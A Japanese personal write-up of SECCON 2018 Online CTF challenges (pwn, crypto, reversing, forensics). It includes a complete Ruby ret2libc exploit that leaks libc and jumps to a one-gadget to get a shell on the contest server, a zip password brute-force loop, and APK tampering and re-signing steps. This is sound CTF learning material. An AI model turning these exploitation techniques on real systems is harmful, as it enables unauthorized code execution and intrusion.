Edited at

SECCON 2018 Online CTF Writeup

https://score-quals.seccon.jp/challenges

チームnicklegrで個人参加。

631点で122位(653チーム中)でした。

順位

問題リスト


Classic Pwn (Pwn)

入力にgetsを使ってるのでスタックを自由に壊せる。

libc_baseをリークしてからmainに飛ばし、2周目でOne-gadget-rceに飛ばせばいい。

…と簡単に書いたけど、Pwn慣れしてなくて2時間半くらいかかった。でも本番中にPwnが解けてうれしい。

return addressまでのoffsetは72byte

$ gdb classic

gdb-peda$ pattc 256
gdb-peda$ r <<< 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G'

[------------------------------------stack-------------------------------------]
0000| 0x7fffffffddc8 ("IAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyAAzA%%A%sA%BA%$A%nA%CA%-A%(A%DA%;A%)A%EA%aA%0A%FA%bA%1A%G")

One-gadget-rceを探すと、下記の3つ


  • 4526a (if [rsp+0x30] == 0)

  • f02a4 (if [rsp+0x50] == 0)

  • f1147 (if [rsp+0x70] == 0)

$ strings -tx libc-2.23.so | grep /bin/sh

18cd57 /bin/sh

$ objdump -M intel -d libc-2.23.so | grep 18cd57 -A 8 -B 8 | grep execve -B 8
4526a: 48 8b 05 47 ec 37 00 mov rax,QWORD PTR [rip+0x37ec47] # 3c3eb8 <_IO_file_jumps+0x7d8>
45271: 48 8d 3d df 7a 14 00 lea rdi,[rip+0x147adf] # 18cd57 <_libc_intl_domainname+0x197>
45278: 48 8d 74 24 30 lea rsi,[rsp+0x30]
4527d: c7 05 19 12 38 00 00 mov DWORD PTR [rip+0x381219],0x0 # 3c64a0 <__abort_msg+0x8c0>
45284: 00 00 00
45287: c7 05 13 12 38 00 00 mov DWORD PTR [rip+0x381213],0x0 # 3c64a4 <__abort_msg+0x8c4>
4528e: 00 00 00
45291: 48 8b 10 mov rdx,QWORD PTR [rax]
45294: e8 d7 74 08 00 call cc770 <execve>
--
f028f: 48 8d 3d f1 e3 09 00 lea rdi,[rip+0x9e3f1] # 18e687 <_libc_intl_domainname+0x1ac7>
f0296: e8 65 9a f4 ff call 39d00 <unsetenv>
f029b: 8b 7c 24 40 mov edi,DWORD PTR [rsp+0x40]
f029f: e8 3c 76 00 00 call f78e0 <__close>
f02a4: 48 8b 05 0d 3c 2d 00 mov rax,QWORD PTR [rip+0x2d3c0d] # 3c3eb8 <_IO_file_jumps+0x7d8>
f02ab: 48 8d 74 24 50 lea rsi,[rsp+0x50]
f02b0: 48 8d 3d a0 ca 09 00 lea rdi,[rip+0x9caa0] # 18cd57 <_libc_intl_domainname+0x197>
f02b7: 48 8b 10 mov rdx,QWORD PTR [rax]
f02ba: e8 b1 c4 fd ff call cc770 <execve>
--
f1132: 48 8d 3d 4e d5 09 00 lea rdi,[rip+0x9d54e] # 18e687 <_libc_intl_domainname+0x1ac7>
f1139: e8 c2 8b f4 ff call 39d00 <unsetenv>
f113e: 8b 7c 24 60 mov edi,DWORD PTR [rsp+0x60]
f1142: e8 99 67 00 00 call f78e0 <__close>
f1147: 48 8b 05 6a 2d 2d 00 mov rax,QWORD PTR [rip+0x2d2d6a] # 3c3eb8 <_IO_file_jumps+0x7d8>
f114e: 48 8d 74 24 70 lea rsi,[rsp+0x70]
f1153: 48 8d 3d fd bb 09 00 lea rdi,[rip+0x9bbfd] # 18cd57 <_libc_intl_domainname+0x197>
f115a: 48 8b 10 mov rdx,QWORD PTR [rax]
f115d: e8 0e b6 fd ff call cc770 <execve>

実はx64のPwnは初挑戦。puts()に引数を渡すためにpop rdiガジェットが必要らしい。

$ rp-lin-x64 -f classic --rop=1 --unique

You decided to keep only the unique ones, 34 unique gadgets found.
...
0x00400753: pop rdi ; ret ; (1 found)
...

というわけで

require "pp"

require_relative "pwnlib"

def p64(a)
[a].pack("Q<")
end

def u64(a)
a.unpack("Q<")[0]
end

plt_puts = 0x400520
got_puts = 0x601018
main = 0x4006a9

libc_offset_puts = 0x6f690

# gadgets
pop_rdi = 0x400753

# one_gadget_rce = 0x4526a # if [rsp+0x30] == 0
one_gadget_rce = 0xf02a4 # if [rsp+0x50] == 0
# one_gadget_rce = 0xf1147 # if [rsp+0x70] == 0

PwnTube.open("classic.pwn.seccon.jp", 17354) do |t|
# leak libc_base & return to main
payload = "A" * 72 +
p64(pop_rdi) + # puts(got_puts)
p64(got_puts) +
p64(plt_puts) +
p64(main) # main()

t.recv_until("Local Buffer >> ")
t.sendline(payload)
t.recv_until("Have a nice pwn!!\n")

leak = t.recv_until("\n")
pp leak

leak_addr = leak.rstrip.ljust(8, "\x00")
libc_base = u64(leak_addr) - libc_offset_puts

puts "[+] leak_addr = 0x#{u64(leak_addr).to_s(16)}"
puts "[+] libc_base = 0x#{libc_base.to_s(16)}"

# call one gadget rce
payload2 = "A" * 72 +
p64(libc_base + one_gadget_rce)

t.recv_until("Local Buffer >> ")
t.sendline(payload2)
t.recv_until("Have a nice pwn!!\n")

t.shell
end

$ ruby main.rb

[*] connected
"\x906\xDCP\x8D\x7F\n"
[+] leak_addr = 0x7f8d50dc3690
[+] libc_base = 0x7f8d50d54000
[*] waiting for shell...
[*] interactive mode
ls -l
total 16
-rwxr-x--- 1 root classic 8872 Oct 23 02:37 classic
-rw-r----- 1 root classic 44 Oct 23 02:37 flag.txt
cat flag.txt
SECCON{w4rm1ng_up_by_7r4d1710n4l_73chn1qu3}

わーい

SECCON{w4rm1ng_up_by_7r4d1710n4l_73chn1qu3}


Boguscrypt (Crypto)

$ ls -l

total 73
-rwxrwx--- 1 root vboxsf 33926 10月 26 22:33 challenge.pcap
-rwxrwx--- 1 root vboxsf 7845 10月 26 22:33 dec
-rwxrwx--- 1 root vboxsf 46 10月 26 22:33 flag.txt.encrypted

pcapを眺めると、妙なDNSクエリが

Frame 43: 185 bytes on wire (1480 bits), 185 bytes captured (1480 bits)

Ethernet II, Src: Vmware_e4:8f:b5 (00:0c:29:e4:8f:b5), Dst: Vmware_35:99:09 (00:0c:29:35:99:09)
Internet Protocol Version 4, Src: 192.168.108.129, Dst: 192.168.108.136
User Datagram Protocol, Src Port: 53, Dst Port: 41624
Domain Name System (response)
[Request In: 41]
[Time: 0.000230000 seconds]
Transaction ID: 0x7079
Flags: 0x8580 Standard query response, No error
Questions: 1
Answer RRs: 1
Authority RRs: 1
Additional RRs: 2
Queries
2.0.0.127.in-addr.arpa: type PTR, class IN
Answers
2.0.0.127.in-addr.arpa: type PTR, class IN, cur10us4ndl0ngh0stn4m3
Authoritative nameservers
127.in-addr.arpa: type NS, class IN, ns localhost
Additional records
localhost: type A, class IN, addr 127.0.0.1
localhost: type AAAA, class IN, addr ::1

2.0.0.127.in-addr.arpa: type PTR, class IN, cur10us4ndl0ngh0stn4m3

cur10us4ndl0ngh0stn4m3 -> curious and long hostname

ふむん

$ ./dec

Key?:cur10us4ndl0ngh0stn4m3
gethostbyaddr: Host name lookup failure

じゃあ/etc/hostsに下記を足す

127.0.0.2 cur10us4ndl0ngh0stn4m3

$ ./dec

Key?:cur10us4ndl0ngh0stn4m3
$ ls -l
total 73
-rwxrwx--- 1 root vboxsf 33926 10月 26 22:33 challenge.pcap
-rwxrwx--- 1 root vboxsf 7845 10月 26 22:33 dec
-rwxrwx--- 1 root vboxsf 46 10月 28 11:44 flag.txt
-rwxrwx--- 1 root vboxsf 46 10月 26 22:33 flag.txt.encrypted
$ cat flag.txt
SECCON{This flag is encoded by bogus routine}

SECCON{This flag is encoded by bogus routine}


Runme (Reversing)

Ollydbgでステップ実行すると、コマンドラインと一文字ずつ比較して間違ってたら終了する。

比較してる値はPUSH <即値>で一文字ずつスタックに積まれている。

というわけで

$ grep -e 'PUSH [0-9A-F][0-9A-F]$' runme.asm > runme_flag.asm

00401054 |. 6A 43 PUSH 43
00401080 |. 6A 3A PUSH 3A
004010AC |. 6A 5C PUSH 5C
004010D8 |. 6A 54 PUSH 54
00401104 |. 6A 65 PUSH 65
00401130 |. 6A 6D PUSH 6D
0040115C |. 6A 70 PUSH 70
00401188 |. 6A 5C PUSH 5C
...

これをかき集めて

hex = "433A5C54656D705C534543434F4E323031384F6E6C696E652E6578652220534543434F4E7B52756E6E316E365F503437687D"

puts [hex].pack("H*")

C:\Temp\SECCON2018Online.exe" SECCON{Runn1n6_P47h}


Unzip (Forensics)


makefile.sh

echo 'SECCON{'`cat key`'}' > flag.txt

zip -e --password=`perl -e "print time()"` flag.zip flag.txt

このファイルのタイムスタンプは2018‎年‎10‎月‎27‎日 0:10:06。じゃあそこら辺を総当たり

center = 1540566606

(center-100 .. center+100).each do |i|
puts i
result = `unzip -P #{i} flag.zip`
end

実行すると

1540566506

skipping: flag.txt incorrect password
1540566507
skipping: flag.txt incorrect password
...
1540566527
error: invalid compressed data to inflate
...
1540566641
replace flag.txt? [y]es, [n]o, [A]ll, [N]one, [r]ename: y

ここで止めたら解凍できた。

正解は2018‎年‎10‎月‎27‎日 0:10:41。ああ、flag.zipのタイムスタンプでいいのか。

SECCON{We1c0me_2_SECCONCTF2o18}


History (Forensics)


  • 問題文 "History Check changed filename"

  • ファイル名が"J"

  • バイナリダンプするとWindowsのシステムファイル名っぽいのがいろいろ

なので、NTFSのジャーナル領域?

https://github.com/PoorBillionaire/USN-Journal-Parser でパースできた。

$ usn.py -f J -o J.txt

$ grep RENAME J.txt
...
2018-09-29 07:51:24.557945 | SEC.txt | ARCHIVE | RENAME_OLD_NAME
2018-09-29 07:51:24.557945 | CON{.txt | ARCHIVE | RENAME_NEW_NAME
2018-09-29 07:51:24.557945 | CON{.txt | ARCHIVE | RENAME_NEW_NAME CLOSE
2018-09-29 07:52:22.779984 | CON{.txt | ARCHIVE | RENAME_OLD_NAME
2018-09-29 07:52:22.779984 | F0r.txt | ARCHIVE | RENAME_NEW_NAME
2018-09-29 07:52:22.779984 | F0r.txt | ARCHIVE | RENAME_NEW_NAME CLOSE
2018-09-29 07:52:26.330582 | WmiApRpl_new.h | ARCHIVE | RENAME_OLD_NAME
2018-09-29 07:52:26.330582 | WmiApRpl.h | ARCHIVE | RENAME_NEW_NAME
2018-09-29 07:52:26.330582 | WmiApRpl.h | ARCHIVE | RENAME_NEW_NAME CLOSE
2018-09-29 07:52:26.330582 | WmiApRpl_new.ini | ARCHIVE | RENAME_OLD_NAME
2018-09-29 07:52:26.330582 | WmiApRpl.ini | ARCHIVE | RENAME_NEW_NAME
2018-09-29 07:52:26.330582 | WmiApRpl.ini | ARCHIVE | RENAME_NEW_NAME CLOSE
2018-09-29 07:52:53.691992 | F0r.txt | ARCHIVE | RENAME_OLD_NAME
2018-09-29 07:52:53.691992 | ensic.txt | ARCHIVE | RENAME_NEW_NAME
2018-09-29 07:52:53.691992 | ensic.txt | ARCHIVE | RENAME_NEW_NAME CLOSE
2018-09-29 07:53:08.622816 | ensic.txt | ARCHIVE | RENAME_OLD_NAME
2018-09-29 07:53:08.622816 | s.txt | ARCHIVE | RENAME_NEW_NAME
2018-09-29 07:53:08.622816 | s.txt | ARCHIVE | RENAME_NEW_NAME CLOSE
2018-09-29 07:54:24.492611 | s.txt | ARCHIVE | RENAME_OLD_NAME
2018-09-29 07:54:24.492611 | _usnjrnl.txt | ARCHIVE | RENAME_NEW_NAME
2018-09-29 07:54:24.492611 | _usnjrnl.txt | ARCHIVE | RENAME_NEW_NAME CLOSE
2018-09-29 07:54:38.376635 | _usnjrnl.txt | ARCHIVE | RENAME_OLD_NAME
2018-09-29 07:54:38.376635 | 2018}.txt | ARCHIVE | RENAME_NEW_NAME
2018-09-29 07:54:38.376635 | 2018}.txt | ARCHIVE | RENAME_NEW_NAME CLOSE

SECCON{F0rensics_usnjrnl2018}


block (Reversing)

解けなかった。

Unityアプリ。実行するとフラグが書いてある板がグルグル回ってる。一部がキューブに隠れて見えない。

https://github.com/DerPopo/UABE でリソースを調べると、テクスチャに画像で描いてあるようなので抽出。

SECCON{Y0U_4R3_34CH+3R?}

Incorrect. あれ?

運営に聞いてみる。

00:33 (nicklegr) @seccon-admin flag check of block is correct?

00:33 (nicklegr) may be I got valid flag
00:36 (seccon-admin) About Reversing challenge "block" :Real answer flag is not easy to get it, if your post flag is incorrect, it is not real one. Please try to analyze more .sorry for confusing this challenge.

フェイクかーい。もっと分かりやすく書いてくれ

問題文が"BREAK THE BLOCK!"なので、キューブを非表示にすればいいんだろうか。

UABEのExport DumpでMeshRendererのリソースをダンプして、下記のように書き換える。


unnamed_asset-level0-13-MeshRenderer.txt

 0 bool m_Enabled = false


Import DumpしてSave。

level0かsharedassets0.assetsのどっちかが変更されるので、差し替えてapkをリパック。

> apktool b block -o block_patched.apk

-c を付けると古い署名がコピーされるのでダメ

> jarsigner -verbose -sigalg SHA256withRSA -digestalg SHA1 -tsa http://timestamp.digicert.com -keystore key\debug.keystore -storepass android block_patched.apk androiddebugkey

キューブは消えてフラグが見えたけど、他には何も出てこない。

Skyboxを指してるんだろうか。


unnamed_asset-level0-19-RenderSettings.txt

 0 PPtr<Material> m_SkyboxMaterial

0 int m_FileID = 0
0 SInt64 m_PathID = 0

これでSkyboxも消せるが、やはり何も出てこない。

これ以上は思いつかず。

追記: キューブを消した画面をよく見たらちゃんと正しいフラグが表示されてる。ぱっと見同じなので気づかなかった。詰めが甘かった…

SECCON{4R3_Y0U_CH34+3R?}


他の方のWriteup